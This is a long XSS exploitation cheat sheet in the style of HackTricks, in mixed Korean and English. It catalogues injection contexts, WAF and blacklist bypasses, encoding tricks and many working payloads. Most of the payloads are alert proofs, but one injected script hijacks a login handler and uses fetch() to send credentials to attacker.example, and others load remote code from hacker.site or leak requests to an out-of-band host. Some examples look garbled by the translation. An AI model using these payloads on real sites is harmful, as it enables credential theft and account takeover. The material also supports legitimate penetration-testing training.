%.*s
XSS (Cross Site Scripting)
Reading time: 53 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
방법론
- 당신이 제어하는 값이 HTML에 **반영(reflected)**되거나 JS 코드에서 사용되는지 확인하세요. (parameters, path, headers?, cookies?)
- 반영/사용되는 컨텍스트를 찾으세요.
- 만약 reflected라면
- 어떤 문자를 사용할 수 있는지 확인하고 그에 따라 페이로드를 준비하세요:
- raw HTML에서:
- 새로운 HTML 태그를 생성할 수 있나요?
javascript:프로토콜을 지원하는 이벤트나 속성을 사용할 수 있나요?- 보호 메커니즘을 우회할 수 있나요?
- HTML 콘텐츠가 클라이언트 사이드 JS 엔진(AngularJS, VueJS, Mavo...)에 의해 해석된다면, Client Side Template Injection을 악용할 수 있습니다.
- JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, Dangling Markup - HTML scriptless injection를 악용할 수 있나요?
- HTML 태그 내부:
- 속성과 태그에서 **탈출(escape)**하여 raw HTML 컨텍스트로 나갈 수 있나요?
- JS 코드를 실행하는 새로운 이벤트/속성을 생성할 수 있나요?
- 당신이 갇혀있는 속성은 JS 실행을 지원하나요?
- 보호 메커니즘을 우회할 수 있나요?
- JavaScript 코드 내부:
<script>태그를 이스케이프할 수 있나요?- 문자열을 이스케이프하여 다른 JS 코드를 실행할 수 있나요?
- 입력이 템플릿 리터럴 ````안에 있나요?
- 보호 메커니즘을 우회할 수 있나요?
- 실행되는 Javascript function
- 실행할 함수명을 지정할 수 있습니다. 예:
?callback=alert(1) - 만약 used라면:
- DOM XSS를 악용할 수 있습니다. 입력이 어떻게 제어되는지와 당신의 제어된 입력이 어떤 sink에 사용되는지 주의 깊게 보세요.
복잡한 XSS 작업을 할 때 다음 내용을 아는 것이 유용할 수 있습니다:
반사된 값
XSS를 성공적으로 악용하려면 가장 먼저 찾아야 할 것은 웹 페이지에 반영되는 당신이 제어하는 값입니다.
- 임시로 반사됨(Intermediately reflected): 파라미터 값이나 경로가 웹 페이지에 반영되는 것을 찾았다면 Reflected XSS를 악용할 수 있습니다.
- 저장되어 반사됨(Stored and reflected): 당신이 제어하는 값이 서버에 저장되고 페이지에 접근할 때마다 반영된다면 Stored XSS를 악용할 수 있습니다.
- JS로 접근됨(Accessed via JS): 당신이 제어하는 값이 JS로 접근되는 것을 찾았다면 DOM XSS를 악용할 수 있습니다.
컨텍스트
XSS를 시도할 때 가장 먼저 알아야 할 것은 어디에 당신의 입력이 반영되는가입니다. 컨텍스트에 따라 임의의 JS 코드를 실행할 수 있는 방식이 달라집니다.
Raw HTML
입력이 원시 HTML에 반영된다면 JS 코드를 실행하기 위해 어떤 HTML 태그를 악용해야 합니다: <img , <iframe , <svg , <script ... 이들은 사용할 수 있는 많은 HTML 태그 중 일부일 뿐입니다.
또한 Client Side Template Injection를 유의하세요.
HTML 태그의 속성 내부
입력이 태그 속성의 값 내부에 반영된다면 다음을 시도해볼 수 있습니다:
- 속성 및 태그에서 탈출하여 raw HTML로 나가 새로운 HTML 태그를 생성:
"><img [...] - 속성에서는 탈출하지만 태그에서 탈출하지 못하는 경우 (
>가 인코딩되거나 삭제된 경우), 태그에 따라 JS 코드를 실행하는 이벤트를 만들 수 있습니다:" autofocus onfocus=alert(1) x=" - 속성에서 탈출할 수 없는 경우 (
"가 인코딩되거나 삭제된 경우), 반영된 값이 어떤 속성인지와 값 전체를 제어하는지 아니면 일부만 제어하는지에 따라 악용할 수 있습니다. 예를 들어,onclick=같은 이벤트를 제어하면 클릭 시 임의 코드를 실행할 수 있습니다. 또 다른 흥미로운 예는href속성으로,javascript:프로토콜을 사용하여 임의 코드를 실행할 수 있습니다:href="javascript:alert(1)" - 입력이 "익스플로잇 불가능한 태그" 내부에 반영된다면
accesskey트릭을 시도할 수 있습니다(이를 악용하려면 어느 정도의 social engineering이 필요합니다):" accesskey="x" onclick="alert(1)" x="
클래스 이름을 제어하면 Angular가 XSS를 실행하는 이상한 예:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
JavaScript 코드 내부
In this case your input is reflected between <script> [...] </script> tags of a HTML page, inside a .js file or inside an attribute using javascript: protocol:
- 만약 입력이
<script> [...] </script>태그 사이에 반영된다면, 입력이 어떤 종류의 따옴표 안에 있더라도</script>를 주입해 이 컨텍스트에서 탈출할 수 있습니다. 이는 브라우저가 먼저 HTML 태그를 파싱한 다음 내용을 파싱하기 때문에 동작하며, 따라서 브라우저는 당신이 주입한</script>태그가 HTML 코드 내부에 있다는 것을 인식하지 못합니다. - 만약 반영이 JS 문자열 내부에 일어나고 이전 트릭이 통하지 않는다면 문자열을 탈출하고, 당신의 코드를 실행한 뒤 JS 코드를 재구성해야 합니다(오류가 있으면 실행되지 않습니다:
'-alert(1)-'';-alert(1)//\';alert(1)//- 템플릿 리터럴 안에 반영된다면
${ ... }구문을 사용해 JS 표현식을 임베드할 수 있습니다:var greetings = `Hello, ${alert(1)}` - Unicode encode는 유효한 javascript 코드를 작성하는 데 유용합니다:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting references the opportunity to 사용된 이후에 함수, 변수 또는 클래스를 선언할 수 있는 기회를 의미하며, 선언되지 않은 변수나 함수가 사용되는 XSS 시나리오를 악용할 수 있습니다.
자세한 내용은 다음 페이지를 확인하세요:
Javascript Function
Several web pages have endpoints that 실행할 함수의 이름을 매개변수로 받습니다. A common example to see in the wild is something like: ?callback=callbackFunc.
A good way to find out if something given directly by the user is trying to be executed is 매개변수 값을 수정해 보는 것 (for example to 'Vulnerable') and looking in the console for errors like:
.png)
In case it's vulnerable, you could be able to alert를 발생시킬 수 있습니다 just doing sending the value: ?callback=alert(1). However, it' very common that this endpoints will 내용을 검증하여 문자, 숫자, 점, 밑줄만 허용하도록 합니다 ([\w\._]).
However, even with that limitation it's still possible to perform some actions. This is because you can use that valid chars to DOM의 어떤 요소든 접근할 수 있습니다:
.png)
Some useful functions for this:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
You can also try to trigger Javascript functions directly: obj.sales.delOrders.
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, other pages in the same origin will have a more interesting DOM to perform more actions.
Therefore, in order to abuse this vulnerability in a different DOM the Same Origin Method Execution (SOME) exploitation was developed:
SOME - Same Origin Method Execution
DOM
공격자가 제어하는 일부 데이터(예: location.href)를 안전하지 않게 사용하는 JS code가 있습니다. 공격자는 이를 악용해 임의의 JS 코드를 실행할 수 있습니다.
Universal XSS
이러한 유형의 XSS는 anywhere에서 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 측 취약점만이 아니라 any context에 의존합니다. 이러한 arbitrary JavaScript execution은 심지어 RCE를 획득하거나 클라이언트 및 서버의 임의 파일을 읽는 등으로 악용될 수 있습니다.
몇 가지 examples:
WAF 우회 인코딩 이미지
.jpg)
Injecting inside raw HTML
입력이 inside the HTML page에 반영되거나 이 컨텍스트에서 HTML 코드를 이스케이프하여 주입할 수 있다면, 첫 번째로 해야 할 일은 <를 남용해 새 태그를 생성할 수 있는지 확인하는 것입니다: 해당 char를 reflect 해보고 그것이 HTML encoded되거나 deleted되었는지, 아니면 reflected without changes되는지 확인하세요. 오직 마지막 경우에만 이 취약점을 악용할 수 있습니다.
이러한 경우에는 Client Side Template Injection도 keep in mind하세요.
참고: HTML 주석은 다음으로 닫을 수 있습니다****-->****또는 **--!>**
In this case and if no black/whitelisting is used, you could use payloads like:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
하지만 tags/attributes 블랙/화이트리스트가 사용되는 경우, 생성할 수 있는 brute-force which tags를 확인해야 합니다.
허용된 tags를 찾아낸 후, 발견된 유효 태그 내부의 attributes/events를 brute-force하여 컨텍스트를 어떻게 공격할 수 있는지 확인해야 합니다.
태그/이벤트 brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).
커스텀 태그
If you didn't find any valid HTML tag, you could try to create a custom tag and and execute JS code with the onfocus attribute. In the XSS request, you need to end the URL with # to make the page focus on that object and execute the code:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
어떤 종류의 blacklist가 사용 중이라면, 몇 가지 기발한 트릭으로 이를 bypass해볼 수 있습니다:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
길이 우회 (small XSSs)
[!NOTE] > 다양한 환경을 위한 추가적인 작은 XSS payload can be found here and here.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
마지막 예제는 2개의 unicode 문자를 사용하며 이는 5개로 확장됩니다: telsr
이런 문자들에 대한 자세한 내용은 here.
어떤 문자로 분해되는지 확인하려면 here를 확인하세요.
Click XSS - Clickjacking
취약점을 악용하려면 사전 채워진 데이터가 있는 링크나 폼을 사용자가 클릭해야 하는 경우, 페이지가 취약하다면 abuse Clickjacking을 시도해볼 수 있습니다.
불가능 - Dangling Markup
만약 단지 HTML 태그에 속성을 만들어 JS 코드를 실행하는 것이 불가능하다고 생각한다면, Danglig Markup 을 확인하세요. 왜냐하면 JS 코드를 실행하지 않고도 해당 취약점을 exploit할 수 있기 때문입니다.
HTML tag 내부에 주입
태그 내부/속성 값에서 이스케이프
만약 HTML 태그 내부에 있는 경우, 먼저 시도해볼 것은 태그에서 escape하여 이전 섹션에 언급된 일부 기술을 사용해 JS 코드를 실행하는 것입니다.
만약 태그에서 escape할 수 없다면, 태그 안에 새로운 속성을 만들어 JS 코드를 실행하려 시도할 수 있습니다. 예를 들어 다음과 같은 payload를 사용할 수 있습니다 (이 예제에서는 속성에서 탈출하기 위해 큰따옴표를 사용했으며, 입력이 태그 안에 직접 반영된다면 큰따옴표는 필요하지 않습니다):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
스타일 이벤트
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
속성 내부에서
설령 속성에서 탈출할 수 없다 (" 가 인코딩되거나 삭제되는 경우), 값이 반영되는 어떤 속성인지, 그리고 값 전체를 제어하는지 아니면 일부만 제어하는지에 따라 이를 악용할 수 있다. 예를 들어, onclick= 같은 이벤트를 제어할 수 있다면 클릭될 때 임의의 코드를 실행하게 만들 수 있다.
또 다른 흥미로운 예는 href 속성으로, javascript: 프로토콜을 사용해 임의의 코드를 실행할 수 있다: href="javascript:alert(1)"
HTML encoding/URL encode를 사용한 이벤트 내부 우회
HTML 태그 속성 값 안의 HTML encoded characters는 런타임에 decoded on runtime된다. 따라서 다음과 같은 것이 유효하다(페이로드는 굵게 표시됨): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
참고로 any kind of HTML encode is valid:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
URL encode도 작동합니다:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
이벤트 내부 우회 (Unicode encode 사용)
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
속성 내의 특수 프로토콜
거기에서는 일부 장소에서 프로토콜 javascript: 또는 data: 를 사용하여 임의의 JS 코드를 실행할 수 있습니다. 일부는 사용자 상호작용을 필요로 하고, 일부는 그렇지 않습니다.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
이 프로토콜을 주입할 수 있는 위치
일반적으로 javascript: 프로토콜은 href 속성을 허용하는 모든 태그에서 사용될 수 있으며 그리고 대부분의 태그에서 src 속성을 허용하는 경우에도 사용될 수 있습니다 (단, <img>는 제외).
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
기타 obfuscation tricks
이 경우 속성 내부에 있으므로 이전 섹션의 HTML encoding 및 Unicode encoding trick도 유효합니다.
<a href="javascript:var a=''-alert(1)-''">
게다가, 이런 경우를 위한 또 다른 nice trick이 있습니다: Even if your input inside javascript:... is being URL encoded, it will be URL decoded before it's executed. 따라서 string에서 single quote로 escape해야 하고 그것이 it's being URL encoded된 것처럼 보여도, 기억하세요 — it doesn't matter, 실행 시에는 single quote로 interpreted됩니다.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
참고로, URLencode + HTMLencode를 어떤 순서로든 둘 다 사용해 payload를 인코딩하려고 하면 동작하지 않습니다, 하지만 payload 내부에서는 섞어 사용할 수 있습니다.
javascript:와 함께 Hex 및 Octal encode 사용
적어도 iframe의 src 속성 안에서 Hex 및 Octal encode를 사용하여 JS를 실행할 HTML 태그를 선언할 수 있습니다:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
임의의 <a href= 태그에 어떤 URL이든 주입할 수 있고 해당 태그가 target="_blank" and rel="opener" 속성을 포함한다면, 이 동작을 악용하는 방법은 다음 페이지를 확인하세요:
on 이벤트 핸들러 우회
먼저 유용한 "on" 이벤트 핸들러에 대해 이 페이지 (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)를 확인하세요.
만약 블랙리스트가 이러한 이벤트 핸들러 생성을 막는 경우, 다음 우회 방법들을 시도해보세요:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
'공격 불가능한 태그' (hidden input, link, canonical, meta)에서의 XSS
다음 here에서 이제 hidden inputs을 악용할 수 있습니다:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
그리고 메타 태그:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
이 내용은 here에서 발췌: 당신은 XSS payload inside a hidden attribute를 실행할 수 있습니다. 단 설득을 통해 victim이 키 조합을 누르도록 해야 합니다. Firefox Windows/Linux에서는 키 조합이 ALT+SHIFT+X이고, OS X에서는 CTRL+ALT+X입니다. access key attribute의 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 벡터는 다음과 같습니다:
<input type="hidden" accesskey="X" onclick="alert(1)">
The XSS payload will be something like this: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
이 섹션에서는 이미 여러 가지 인코딩을 이용한 트릭이 소개되었습니다. 어디에서 사용할 수 있는지 알아보려면 뒤로 가세요:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
읽어보세요: Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
읽어보세요: JavaScript bypass blacklist of the following section.
CSS-Gadgets
웹의 아주 작은 부분에서 XSS를 발견했고 그 부분이 어떤 상호작용(예: footer에 있는 onmouseover 요소가 있는 작은 링크)을 필요로 한다면, 그 요소가 차지하는 영역을 변경하여 링크가 실행될 가능성을 최대화해 볼 수 있습니다.
예를 들어, 요소에 다음과 같은 스타일을 추가할 수 있습니다: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
하지만, WAF가 style 속성을 필터링하면 CSS Styling Gadgets를 사용할 수 있습니다. 예를 들어, 다음과 같은 CSS가 있다면
.test {display:block; color: blue; width: 100%}
and
#someid {top: 0; font-family: Tahoma;}
이제 링크를 수정하여 다음과 같은 형태로 만들 수 있습니다
<a href="" id=someid class=test onclick=alert() a="">
이 트릭은 다음 글에서 가져왔습니다: https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
이 경우 input은 .js 파일의 JS 코드 내부나 <script>...</script> 태그 사이, JS를 실행할 수 있는 HTML 이벤트 사이, 또는 javascript: 프로토콜을 허용하는 속성 안에 반영됩니다.
Escaping <script> tag
코드가 <script> [...] var input = 'reflected data' [...] </script> 내부에 삽입된다면, </script> 종료 태그를 쉽게 escape할 수 있습니다:
</script><img src=1 onerror=alert(document.domain)>
Note that in this example we haven't even closed the single quote. This is because HTML parsing is performed first by the browser, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward.
Inside JS code
<>가 정화되고 있다면, 입력이 위치한 문자열을 여전히 이스케이프하여 임의의 JS를 실행할 수 있습니다. 오류가 있으면 JS 코드는 실행되지 않기 때문에 JS 문법을 수정하는 것이 중요합니다:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
사용자 입력이 quoted JavaScript string 안에 들어갈 때(예: server-side echo가 inline script로 출력되는 경우), 문자열을 종료하고, 코드를 inject한 다음 구문을 복구해 파싱을 유효하게 유지할 수 있습니다. Generic skeleton:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
취약한 파라미터가 JS 문자열로 반영될 때의 예시 URL 패턴:
?param=test";<INJECTION>;a="
이 기법은 HTML 컨텍스트를 건드릴 필요 없이 공격자 JS를 실행합니다 (순수 JS-in-JS). 필터가 키워드를 차단할 때 아래의 blacklist bypasses와 결합해 사용하세요.
템플릿 리터럴 ``
단일 및 이중 따옴표 외에도 JS는 strings를 구성하기 위해 backticks `` 를 허용합니다. 이는 template literals로 알려져 있으며 ${ ... } 구문을 사용해 embedded JS expressions를 허용합니다.
따라서 입력값이 backticks를 사용하는 JS 문자열 안에 reflected 되어 있다면, ${ ... } 구문을 악용해 arbitrary JS code를 실행할 수 있습니다:
다음과 같이 abused 할 수 있습니다:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Encoded code execution
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Deliverable payloads with eval(atob()) 및 scope 뉘앙스
URLs를 더 짧게 유지하고 단순한 키워드 필터를 우회하려면, 실제 로직을 base64-encode하여 eval(atob('...'))로 평가할 수 있습니다. 단순 키워드 필터가 alert, eval, atob 같은 식별자를 차단한다면, 브라우저에서 동일하게 컴파일되면서 문자열 매칭 필터를 회피하는 Unicode-escaped 식별자를 사용하세요:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
중요한 스코프 관련 사항: const/let이 eval() 내부에서 선언되면 블록 스코프이며 globals를 생성하지 않습니다; 이후 스크립트에서 접근할 수 없습니다. 필요할 때(예: form handler를 가로채기 위해) 전역이며 재바인딩할 수 없는 훅을 정의하려면 동적으로 주입된 <script> 요소를 사용하세요:
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
참고: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode 인코딩을 통한 JS 실행
alert(1)
alert(1)
alert(1)
JavaScript bypass blacklists 기법
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
특수 이스케이프
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
JS 코드 내의 공백 치환
<TAB>
/**/
JavaScript comments (에서 JavaScript Comments trick)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript new lines (에서 JavaScript new line 트릭)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript 공백 문자
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
주석 안의 Javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
괄호 없이 JavaScript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
